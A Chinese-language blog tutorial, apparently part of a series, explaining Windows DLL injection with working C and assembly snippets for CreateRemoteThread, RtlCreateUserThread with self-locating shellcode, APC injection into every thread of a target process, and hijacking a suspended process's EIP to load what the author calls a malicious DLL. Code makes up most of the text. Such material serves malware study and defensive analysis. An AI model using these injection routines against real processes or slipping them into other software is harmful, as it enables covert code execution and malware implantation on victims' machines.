前言
这是<一篇文章带你...>系列的第四篇,主要会阐明DLL注入的基本原理和几种主流方式,虽然这些方法已经有点滞后了。但是DLL注入的基本原理是不会改变的。自己做的笔记帮助自己理解。准备匆忙。大佬们轻拍。
DLL注入的主要原理就是强制进程自己将需要注入的dll文件注入到自身进程空间内,最好配合Hook技术。
Dll注入可以从三个方向入手:第一:在进程创建初期按照导入表加载dll的时候。第二:进程运行时期利用LoadLibrary函数加载,第三:利用某些系统机制:例如windows消息机制等。

进程创建后期
0x1 CreateRemoteThread
此方法是最常见的dll注入的方法,原理是由于CreateRemoteThread的函数原型和CreateThread是一致的。所以模仿CreateThread创建线程的方式实现注入。
由于创建的是远程线程,是需要将注入的参数(也就是Dll文件的路径)写入目标进程空间。所以基本步骤如下:
打开目标进程句柄

//打开目标进程
hProc = OpenProcess(PROCESS_ALL_ACCESS,
    FALSE,
    dwTargetPid
);
if (hProc == NULL)
{
    printf("OpenProcess:%d\n", GetLastError());
    return 0;
}

向目标进程中开辟空间并写入Dll文件路径

//向目标进程中写入句柄
LPTSTR psLibFileRemote = NULL;
psLibFileRemote = (LPTSTR)VirtualAllocEx(hProc,
    NULL,
    lstrlen(DllPath) + 1,
    MEM_COMMIT,
    PAGE_READWRITE);
if (psLibFileRemote == NULL)
{
    printf("VirtualAllocEx:%d\n", GetLastError());
    return FALSE;
}
BOOL bRet=WriteProcessMemory(hProc,
    psLibFileRemote,
    (LPCVOID)DllPath,
    //(void *)DllPath
    lstrlen(DllPath) + 1,
    NULL);

获取LoadLibrary的地址

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),
    "LoadLibraryA");
if (pfnStartAddr == NULL)
{
    printf("GetProcAddress %d\n",GetLastError());
    return FALSE;
}

利用CreateRemoteThread函数调用LoadLibrary加载dll

//CreateThreadThread
HANDLE hThread = CreateRemoteThread(hProc,
    NULL,
    0,
    pfnStartAddr,
    psLibFileRemote,
    0,
    NULL);

0x2 RtlCreateUserThread
RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的。唯一的区别是使用CreateRemoteThread写入目标进程的是Dll的路径,而RtlCreateUserThread写入的是一段shellcode。
和CreateRemoteThread一样都是需要获取目标进程句柄,获取LoadLibrary地址,dll路径。
接着我们需要获取RtlCreateUserThread地址,RtlCreateUserThread函数原型如下:

typedef NTSTATUS(__stdcall *PCreateThread)(  
    HANDLE Process,                                 //句柄
    PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,  //线程安全描述符             
    BOOLEAN CreateSuspended,                      //创建挂起标志
    ULONG ZeroBits,
    SIZE_T MaximumStackSize,
    SIZE_T CommittedStackSize,
    PUSER_THREAD_START_ROUTINE StartAddress,      //远程线程函数
    PVOID Parameter OPTIONAL,                      //参数
    PHANDLE Thread OPTIONAL,
    PCLIENT_ID ClientId OPTIONAL
    );

如何构造shellcode?

VOID ShellCodeFun(VOID)
{
    _asm
    {
        call L001
L001:
        pop ebx
        sub ebx,5                                                //自定位
        push dword ptr ds : [ebx]INJECT_DATA.lpParameter         //lpParameter
        call dword ptr ds : [ebx]INJECT_DATA.lpThreadStartRoutine //ThreadProc
        xor ebx,ebx
        push ebx
        push -2
        call dword ptr ds : [ebx]INJECT_DATA.AddrOfZwTerminateThread //ZwTerminateThread
        nop
        nop
        nop
        nop
        nop
    }
}

将shellcode写入进程内存中,然后调用RtlCreateUserThread执行shellcode。

//写入shellcode
    int bRet = WriteProcessMemory(hProcess, pMem, &Data, sizeof(INJECT_DATA), &dwIoCnt);
    if (bRet == 0)
    {
        printf(" WriteProcessMemory:%d\n", GetLastError());
        return FALSE;
    }
    status = RtlCreateUserThread(hProcess,    //进程句柄
        lpThreadAttributes,                   //线程安全符
        TRUE,                                 //创建挂起标志
        0,                                    //ZeroBit
        dwStackSize,                          //栈大小
        0,
        (PUSER_THREAD_START_ROUTINE)pMem,    //StartAddress,包含了shellcode和数据(StartAddress)
        NULL,                                //参数
        &hThread,                            //远程线程句柄
        &Cid                                 //ClientID
    );

0x3 APC注入
APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。
所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
首先依旧是将DLL文件路径写入进程。

lpData = VirtualAllocEx(hProcess, lpData, lstrlen(szDllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (lpData)
{
    bStatus = WriteProcessMemory(hProcess, lpData, szDllFullPath, lstrlen(szDllFullPath) + 1, &stSize);
    if (FALSE == bStatus)
    {
        printf("WriteProcessMemory:%d\n", GetLastError());
        return NULL;
    }
}

然后使用QueueUserAPC将APC例程添加到APC队列中,QueueUserAPC三个参数分别是APC例程,线程句柄,例程参数。所以还需要获取线程句柄

dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
if (NULL == dwRet)           
{
    printf("QueueUserAPC:%d\n", GetLastError());
    return NULL;
}

当然,为了提高命中率,可以使用遍历所有线程,然后利用te32.th32OwnerProcessID是否等于目标进程PID的策略进行进程全局注入。

if (Thread32First(hThreadSnap, &te32))
{
    do
    {
        //线程所属的进程ID==目标进程ID
        if (te32.th32OwnerProcessID == dwPid)  
        {
            //获取当前线程句柄
            HANDLE hThread = OpenThread(THREAD_ALL_ACCESS,FALSE,te32.th32ThreadID);
            DWORD dwRet = NULL;           
            //插入APC队列
            dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
            if (NULL == dwRet)
            {
                printf("QueueUserAPC:%d\n", GetLastError());
                return NULL;
            }
            CloseHandle(hThread);
        }
    } while (Thread32Next(hThreadSnap, &te32));
}

0x4 代码注入
使用傀儡进程:以挂起方式创建进程,然后向其中写入shellcode,利用shellcode执行LoadLibrary
首先以挂起方式创建进程,CreateProcess的第6个参数可以设定进程创建的方式

bRetProcess = CreateProcess("D:\\HostProc.exe",
    NULL,
    NULL,
    NULL,
    NULL,
    CREATE_SUSPENDED,       //挂起创建进程
    NULL,
    NULL,
    &Startup,
    &pi);

然后需要保存进程的上下文信息,主要是EIP的值。以便于Load完成后返回。

//获取CONTEXT
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);

接着需要构建我们替换执行的代码。这段代码的目的是Load我们的恶意的dll文件,所以至少需要做两个方面的准备,第一:需要知道LoadLibrary的地址。第二需要知道Dll的路径。为了让程序更好的运行还需要保存现场。最后利用ret方式返回。

unsigned char sc[] = {
        //push ret
        0x68,retChar[0],retChar[1],retChar[2],retChar[3],
        //push flags
        0x9C,
        //pushad
        0x60,
        //push DllPath
        0x68, strChar[0], strChar[1],strChar[2],strChar[3],
        //mov eax,AddressOfLoadLibrary
        0xB8, apiChar[0],apiChar[1],apiChar[2],apiChar[3],
        //call eax
        0xFF,0xD0,
        //popad
        0x61,
        //popfd
        0x9D,
        //ret
        0xC3 };

构造完这些之后将shellcode写入,由于内存本身就有执行属性,所以不需要修改内存属性。

bRet=WriteProcessMemory(pi.hProcess,
    Remote_ShellCodePtr,
    ShellCode,
    ShellCodeLength,
    NULL
    );
if (FALSE == bRet)
{
    printf("WriteProcessMemory:%d\n", GetLastError());
    return FALSE;
}

最后利用SetThreadContext将我们的EIP设置为shellcode起始地址。并调用ResumeThread重启线程

ctx.Eip =(DWORD) Remote_ShellCodePtr;
ctx.ContextFlags = CONTEXT_CONTROL;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

为了提高命中率可以向目标进程的所有线程进行注入.利用CreateToolhelp32Snapshot等三个函数遍历线程。

if (Thread32First(hThreadSnap, &te32))
{
    do
    {
        if (te32.th32OwnerProcessID == ProcessId)
        {
            bStatus = TRUE;
            dwTidList[Index] = te32.th32ThreadID;
            //    printf("%d:%d:%d\n", Index, dwTidList[Index], te32.th32ThreadID);
            Index++;
        }
    } while (Thread32Next(hThreadSnap, &te32));
}